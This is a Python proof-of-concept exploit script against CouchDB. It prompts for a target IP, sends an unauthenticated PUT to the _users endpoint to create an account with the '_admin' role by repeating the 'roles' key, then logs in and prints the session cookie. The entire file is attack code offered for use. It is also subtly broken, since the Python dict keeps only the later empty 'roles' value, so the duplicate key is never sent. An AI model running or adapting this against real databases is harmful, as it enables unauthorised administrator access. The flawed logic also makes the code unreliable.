poc.py

import requests
import time as t

targetIp = input("Target CouchDB IP -> ")
username = input("Username you wanna create -> ")
userpw = input("Password -> ")

print("Processing...", end='')

######################################    
##### Unauthenticated Creating #######
######################################

headers = {
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
    'Connection': 'close',
    'Content-Type': 'application/json',
    'Content-Length': '108'
}
data = {
    "type": "user",
    "name": username,
    "roles": ["_admin"],
    "roles": [],
    "password": userpw
}
response = requests.put(f'http://{targetIp}:5984/_users/org.couchdb.user:{username}', json=data, headers=headers)

if response.status_code == 201: #put은 201
    print("success!")
else:
    print("Exploit Failed.")
    input()
    quit()
    
# Login
headers = {
    'accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
}
data = {
    "name": username,
    "password": userpw,
}

response = requests.post(f'http://{targetIp}:5984/_session', data=data)

if response.status_code == 200:
    set_cookie_header = response.headers.get('Set-Cookie') 
    sess = set_cookie_header.split(';')[0].split('=')[1]
    print("Session : " + sess)
    input()
    quit()
    
else:
    print("Login Process Failed.")
    input()
    quit()